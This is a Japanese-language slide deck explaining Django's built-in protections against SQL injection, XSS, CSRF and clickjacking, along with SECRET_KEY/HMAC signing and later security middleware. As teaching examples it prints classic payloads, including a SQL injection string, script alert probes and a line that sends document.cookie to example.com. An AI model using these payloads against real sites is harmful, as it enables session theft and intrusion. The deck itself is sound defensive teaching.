Djangoのセキュリティとその実装
- 2. はじめに • 開発時にDjangoのセキュリティを気にするこ とは少ない – 大体何もやらなければ安全になる – 実際にはどうやって実装されているのか
- 3. SQL Injection • なんぞや – SQLを動的に生成する箇所に意図しない動作を 混入させる – ' OR 1=1; --'
- 4. SQL Injection • 対策 – プレースホルダーを使う – 勝手にエスケープされる
- 5. XSS • なんぞや – ユーザーの入力を表示するWebアプリにスクリプ トを注入する攻撃 • <script>alert(1)</script> – 典型的にはsession idを読みだす • document.location=‘http://example.com’+document.co okie
- 6. XSS • そもそも他サイトのsession idは何故読み出せ ない？ – 同一生成元ポリシーと呼ばれるブラウザ側の実 装 – 簡単にいえば同じサイトでなければそのcookieな どのリソースを読めない • iframeなどでも同様 – XSSはこれをバイパスする
- 8. XSS • JSの場合はもう少し複雑なエスケープをする 必要がある – 動的にJSを生成する場合 – 実体参照をしても解釈される – Unicodeコードポイントを埋め込めばエスケープさ れる – escapejs filter
- 9. XSS
- 10. XSS • URLベース – Javascriptスキームのサイトにredirectさせるケー ス – Javascript:alert(1) – http/https以外のスキームを許容しない
- 11. XSS
- 12. CSRF • なんぞや – リンクを踏ませるなどしてユーザーの意図しない リクエストを行う – DjangoではPOST, PUT, DELETE, CONNECTでCSRF 対策を行っている
- 13. CSRF • 対策 – ｛% csrf_token %｝ – csrfmiddlewaretokenというフィールドをhiddenで 埋め込む – csrftokenというフィールドをcookieに埋め込む – POSTされてきたタイミングで両者が同じ値か チェック
- 14. CSRF
- 15. CSRF
- 16. CSRF
- 17. CSRF
- 18. CSRF
- 19. CSRF
- 20. CSRF
- 21. クリックジャッキング • なんぞや – 攻撃者のページの上に透明なiframeを重ねて、 意図しないままにボタンをクリックさせたりする手 法 – この方法ならユーザーが直接クリックするので csrftokenを回避できる
- 22. クリックジャッキング • 対策 – そもそもiframeで呼ばれないようにしちゃおう – X-Frame-Options • SAMEORIGIN – 同一オリジンポリシーに則りロード可能とする – Djangoはデフォルトこっち • DENY – 問答無用でロード不可とする
- 23. クリックジャッキング
- 24. SECRET_KEY • Startprojectした際にget_random_secret_key() で生成する – 内部ではurandom()を使っている（Ubuntuの場 合） – 暗号論的擬似乱数生成器
- 25. SECRET_KEY
- 27. SECRET_KEY • 認証とは？ – データの改竄を検出する – Hash(salt + message)? • 実は安全ではない（length-extension attack） • Hmacを使う
- 28. SECRET_KEY • Sessionの保存時に認証を掛ける – 符号化形式は • Pickleベース – 1.5.2以前ではデフォルト – 改ざんされると任意コードを実行できる • Jsonベース – 改ざんされても任意コードは実行できない
- 29. SECRET_KEY
- 30. 1.8xで追加される機能 • SecurityMiddleware – リクエストにセキュリティに関係するヘッダを追加 • x-xss-protection – ブラウザのXSSフィルターを有効化する • x-content-type-options – Contentからのファイル内容の推測を抑制する – 古いIEでは不正な画像ファイルなどからスクリプトを埋め込め た • strict-transport-security – httpsのサイトにhttpでアクセスしようとし時にリダイレクトせず に直接httpsでアクセスする。
- 31. 1.9xで追加される機能 • password_validation – 以下の条件を満たすパスワードは作れない • 8文字未満（デフォルト） • 数字だけ • よくあるパスワード1000選 • ユーザーの任意のattributeと編集距離が小さい – 1.11に上げた時にハマるかも？ • Settingsで無効にすれば良い
- 32. まとめ • 明示的に表記する必要があるケース – Javascriptを動的生成する時 • Escapejs filter – AjaxでPOSTする時 • Viewにcsrf_exemptを付けるのはやめよう • HTTP_X_CSRFTOKEN – Djangoのバージョンが1.5.2以前の時 • JSONSerializerを使うようにする – Djangoのバージョンが1.3以前の時 • Redirect先をユーザーが指定できないようにする